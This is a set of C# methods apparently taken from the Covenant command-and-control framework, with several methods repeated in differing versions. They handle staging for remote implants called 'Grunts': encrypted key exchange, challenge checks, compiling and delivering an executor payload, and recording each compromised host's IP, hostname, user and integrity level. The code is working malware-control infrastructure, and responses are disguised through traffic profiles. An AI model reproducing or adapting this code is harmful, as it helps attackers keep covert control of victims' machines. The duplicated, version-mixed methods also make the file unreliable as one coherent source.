private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); targetGrunt.IpAddress = grunt.IPAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = GruntStatus.Active; targetGrunt.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); targetGrunt.Process = grunt.Process; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(targetGrunt); GruntTaskingMessage tasking = new GruntTaskingMessage { Message = targetGrunt.CookieAuthKey, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = GruntTaskingType.Jobs, Token = false }; Models.Grunts.GruntEncryptedMessage responseMessage = null; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); gruntModel.IpAddress = grunt.IPAddress; gruntModel.OperatingSystem = grunt.OperatingSystem; gruntModel.UserDomainName = grunt.UserDomainName; gruntModel.UserName = grunt.UserName; gruntModel.Status = GruntStatus.Active; gruntModel.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); gruntModel.Process = grunt.Process; CovenantClient.ApiGruntsPut(gruntModel); CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!", Level = EventLevel.Highlight, Context = "*" }); var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey) ); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; realGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray()); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" return(Ok(response)); }
private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray()); string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly)); string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
// stage0 private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response) { // Check if this Grunt ID is already active API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id); if (savedGrunt == null) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = null; if (savedGrunt.Status != GruntStatus.Uninitialized) { savedGrunt.Status = GruntStatus.Stage0; // We create a new Grunt if this one is not uninitialized API.Models.Grunt tempModel = new API.Models.Grunt { Status = savedGrunt.Status, ListenerId = savedGrunt.ListenerId, CovenantIPAddress = savedGrunt.CovenantIPAddress, GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword, Delay = savedGrunt.Delay, Jitter = savedGrunt.Jitter, ConnectAttempts = savedGrunt.ConnectAttempts, DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion }; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel); realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } else { savedGrunt.Status = GruntStatus.Stage0; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt); realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } // EncryptedMessage is the RSA Public Key realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); CovenantClient.ApiGruntsPut(realGrunt.ToModel()); byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)); Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( realGrunt, rsaEncryptedBytes, Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) ); string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
private ActionResult PostStage0(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } bool egressGruntExists = (egressGrunt != null); Covenant.Models.Grunts.Grunt realTargetGrunt = null; string guid = gruntStage0Response.GUID.Substring(10); if (targetGrunt.Status != GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized API.Models.Grunt tempModel = new API.Models.Grunt { Id = 0, Guid = gruntStage0Response.GUID.Substring(10), Status = GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, CovenantIPAddress = targetGrunt.CovenantIPAddress, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, CommType = targetGrunt.CommType, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel); realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } else { targetGrunt.Status = GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(targetGrunt); realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } if (!egressGruntExists) { egressGrunt = realTargetGrunt.ToModel(); } // EncryptedMessage is the RSA Public Key realTargetGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(realTargetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); realTargetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel()); if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <GruntTasking> taskings = this.CovenantClient.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { return(NotFound()); } connectTasking = this.CovenantClient.ApiGruntsByIdTaskingsByTidDetailGet(connectTasking.GruntId ?? default, connectTasking.Id ?? default); realTargetGrunt.Hostname = connectTasking.GruntTaskingMessage.Message.Split(",")[0]; this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel()); connectTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(connectTasking.GruntId ?? default, connectTasking.Id ?? default, connectTasking); } byte[] rsaEncryptedBytes = realTargetGrunt.RSAEncrypt(Convert.FromBase64String(realTargetGrunt.GruntNegotiatedSessionKey)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, realTargetGrunt.ToModel(), rsaEncryptedBytes); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" return(Ok(response)); }